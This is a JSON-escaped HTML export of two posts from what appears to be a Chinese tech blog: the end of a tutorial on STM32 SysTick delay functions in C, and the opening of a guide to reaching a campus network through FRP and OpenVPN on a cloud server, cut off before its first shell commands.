number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVal\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序结束处)*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"ms级延时\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#ms%E7%BA%A7%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"ms级延时\"\u003e\u003c/a\u003ems级延时\u003c/h5\u003e\u003cp\u003e循环1000次即可\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"更通用一点的代码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E6%9B%B4%E9%80%9A%E7%94%A8%E4%B8%80%E7%82%B9%E7%9A%84%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"更通用一点的代码\"\u003e\u003c/a\u003e更通用一点的代码\u003c/h3\u003e\u003cp\u003e上面那个 \u003ccode\u003eSysTick-\u0026gt;LOAD=nus*9;\u003c/code\u003e 的9是手动算出来的,一般情况下主频是很容易知道的,那直接用主频自动算出这个数字就更方便了\u003c/p\u003e\u003cp\u003e再次回到上面的式子\u003c/p\u003e\u003cp\u003e记系统时钟 $SYSCLK \\ Mhz$\u003c/p\u003e\u003cp\u003e$SYSTICK=SYSCLK\\div9 \\ Mhz$\u003c/p\u003e\u003cp\u003e$$Nus=T\\times LOAD=\\frac{LOAD}{SYSTICK\\times10^6}\\times 10^6=\\frac{LOAD}{SYSTICK}$$\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times SYSTICK$$\u003c/p\u003e\u003cp\u003e这样可以在代码中定义一个延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/p\u003e\u003cp\u003e$fac_\\ us=SYSCLK\\div8$\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cp\u003e代码分为两步\u003c/p\u003e\u003col\u003e\u003cli\u003e配置 \u003ccode\u003eSYSTICK\u003c/code\u003e 为\u003ccode\u003eSYSCLK\u003c/code\u003e 的$\\frac{1}{8}$ ,并计算出延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/li\u003e\u003cli\u003e采用SysTick定时器位16标志位读取方式做延时\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e还要记得在头文件包含 \u003ccode\u003estm32f1xx.h\u003c/code\u003e\u003c/strong\u003e (以f103为例)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edealy.c\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e fac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us延时倍乘数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 初始化延迟函数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSTICK的时钟固定为AHB时钟的1/8\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSCLK:系统时钟频率\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK_DIV8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//配置SYSTICK \u003c/span\u003efac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSYSCLK\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序起始处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003efac_us\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序结束处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//ms级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edelay.h\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stm32f1xx.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e \u003cstrong\u003e函数 \u003ccode\u003eHAL_SYSTICK_CLKSourceConfig()\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Configures the SysTick clock source. * @param CLKSource specifies the SysTick clock source. * This parameter can be one of the following values: * @arg SYSTICK_CLKSOURCE_HCLK_DIV8: AHB clock divided by 8 selected as SysTick clock source. * @arg SYSTICK_CLKSOURCE_HCLK: AHB clock selected as SysTick clock source. * @retval None */\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e CLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Check the parameters */\u003c/span\u003e \u003cspan class=\"token function\"\u003eassert_param\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eIS_SYSTICK_CLK_SOURCE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e|=\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e\u0026amp;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/blockquote\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e最后看下来就是 \u003cstrong\u003e设置重装载值,使能,检查标志位\u003c/strong\u003e 这三个步骤。\u003c/p\u003e\u003cp\u003e还有就是书上讲的是比较清楚详细的。\u003cspan class=\"diana_jiayou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/463a/"},{"title":"使用FRP和OpenVPN实现校园网内网穿透","time":"2022-05-11T16:52:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E4%BD%BF%E7%94%A8FRP%E5%92%8COpenVPN%E5%AE%9E%E7%8E%B0%E6%A0%A1%E5%9B%AD%E7%BD%91%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F\" class=\"headerlink\" title=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003c/a\u003e使用FRP和OpenVPN实现校园网内网穿透\u003c/h1\u003e\u003cp\u003e)因为手头闲置了一台腾讯云小水管,树莓派3b也没啥任务,就准备尝试一下内网穿透校园网。(学校自己的VPN也能用。)\u003c/p\u003e\u003cul\u003e\u003cli\u003e公网云服务器:运行FRP服务端\u003c/li\u003e\u003cli\u003e公司内网服务器:运行FRP客户端、安装OpenVPN\u003c/li\u003e\u003cli\u003e手头的设备:安装OpenVPN客户端进行连接\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.spacesafe.top/archives/1557\"\u003e使用FRP和OpenVPN实现内网穿透 – EI_’s Blog (spacesafe.top)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/kxwinxp/article/details/88428053\"\u003eCentOS下搭建Frp内网穿透服务_宁静致远kioye的博客-CSDN博客_centos frp\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.ywbj.cc/?p=663\"\u003eVPN设置,设置OpenVPN访问公司内网,图文详细 - 运维笔记(ywbj.cc)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"开个端口先\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E5%BC%80%E4%B8%AA%E7%AB%AF%E5%8F%A3%E5%85%88\" class=\"headerlink\" title=\"开个端口先\"\u003e\u003c/a\u003e开个端口先\u003c/h2\u003e\u003cp\u003e本次 frp 服务端监听 端口为 \u003cstrong\u003e\u003ccode\u003e11451\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003eOpenVPN 使用端口为 \u003cstrong\u003e\u003ccode\u003e21194\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e所以 在腾讯云管理控制台先把这两个端口开了\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003efrp是一个可用于内网穿透的高性能的反向代理应用,支持tcp、udp协议,为http和https协议提供了额外的能力,且尝试性支持了点对点穿透。\u003c/p\u003e\u003cp\u003eFRP采用GO语言开发,支持windows linux MacOS 等多平台部署\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"安装-frp-服务端与客户端\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E5%AE%89%E8%A3%85-frp-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF\" class=\"headerlink\" title=\"安装 frp 服务端与客户端\"\u003e\u003c/a\u003e安装 frp 服务端与客户端\u003c/h2\u003e\u003cp\u003e因为网络问题选择先下载好再上传\u003c/p\u003e\u003cp\u003efrp 项目地址: \u003ca href=\"https://github.com/fatedier/frp/releases\"\u003eReleases · fatedier/frp (github.com)\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"服务端\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E6%9C%8D%E5%8A%A1%E7%AB%AF\" class=\"headerlink\" title=\"服务端\"\u003e\u003c/a\u003e服务端\u003c/h3\u003e\u003cp\u003e在云服务器上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode 